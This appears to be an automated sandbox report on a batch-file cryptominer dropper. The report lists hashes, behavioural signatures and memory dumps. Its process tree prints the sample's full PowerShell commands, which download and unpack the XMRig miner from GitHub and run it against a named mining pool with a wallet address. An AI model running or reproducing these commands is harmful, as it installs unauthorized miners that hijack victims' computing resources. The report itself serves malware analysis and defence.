04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
13s
max time network
72s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
25/12/2023, 04:40

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General

Target

tesy - Copy (2).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4424	powershell.exe
4	4424	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
408	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	408	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3476 wrote to memory of 4424	3476	cmd.exe	73
PID 3476 wrote to memory of 4424	3476	cmd.exe	73
PID 3476 wrote to memory of 408	3476	cmd.exe	74
PID 3476 wrote to memory of 408	3476	cmd.exe	74

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:408
- C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
  xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  PID:4812

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a416001a7be67388325fe9ec28cc8519

SHA1
9058399f7bd48ad1a46893761d08ac01d8003079

SHA256
2a7c6e3aeb3140ca60df3a3fe17a131fa701cb622dffe5b24d56289e322f2185

SHA512
279b99ebee47879b7ac00ef057bc4aa58c81f8dbdff3640a4c1c0fb859f6724f4b688dd5fbb0236b6f47c57c8012f46969464dfa6705a08d7d4d1ad4b403a82c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2dw5lo2o.22l.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

Filesize
543KB

MD5
6db1e1a585fdaf1058c99a1f42e27465

SHA1
53932983178ca9deed603b0f60a0d8e98bd1fba6

SHA256
4d54da7d498004732edc80c688def36bb18e6facdd15e2d42a3b8508df057a98

SHA512
dbac1533cf9ada29c7e1771cb2b021f6d153be90ad279ecd91ac2b0c876eedd92664ac683341e73ceacdc3230c0a54169f1c9767afb334fdef073afa7591f156

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

Filesize
776KB

MD5
a43c18cb97de588e0ac00250c01ade11

SHA1
2d91f2f6e56284234f59068561f8327339e73e30

SHA256
2be8e0ad7079327f5c467048cf22dbc1ecf8c5e417ad16a88545978b689e41e5

SHA512
dcd706babeef9078114013104141353d8d41555038c99e2e3e7edf857d9f11a9c8d8f8b5701cb428b56cd1f1c49cc8e5fc2e9cc4656ac2e6eae40463ab63d1ab

Download Submit
memory/408-38-0x0000022F45DC0000-0x0000022F45DD0000-memory.dmp

Filesize
64KB

Download
memory/408-91-0x0000022F5F4C0000-0x0000022F5F4CA000-memory.dmp

Filesize
40KB

Download
memory/408-116-0x00007FFEE8D50000-0x00007FFEE973C000-memory.dmp

Filesize
9.9MB

Download
memory/408-78-0x0000022F5F4E0000-0x0000022F5F4F2000-memory.dmp

Filesize
72KB

Download
memory/408-37-0x00007FFEE8D50000-0x00007FFEE973C000-memory.dmp

Filesize
9.9MB

Download
memory/408-64-0x0000022F45DC0000-0x0000022F45DD0000-memory.dmp

Filesize
64KB

Download
memory/408-39-0x0000022F45DC0000-0x0000022F45DD0000-memory.dmp

Filesize
64KB

Download
memory/4424-6-0x0000028027650000-0x0000028027660000-memory.dmp

Filesize
64KB

Download
memory/4424-4-0x0000028027560000-0x0000028027582000-memory.dmp

Filesize
136KB

Download
memory/4424-10-0x0000028027860000-0x00000280278D6000-memory.dmp

Filesize
472KB

Download
memory/4424-26-0x0000028027650000-0x0000028027660000-memory.dmp

Filesize
64KB

Download
memory/4424-7-0x0000028027650000-0x0000028027660000-memory.dmp

Filesize
64KB

Download
memory/4424-31-0x00007FFEE8D50000-0x00007FFEE973C000-memory.dmp

Filesize
9.9MB

Download
memory/4424-5-0x00007FFEE8D50000-0x00007FFEE973C000-memory.dmp

Filesize
9.9MB

Download
memory/4812-119-0x000001C19F3A0000-0x000001C19F3C0000-memory.dmp

Filesize
128KB

Download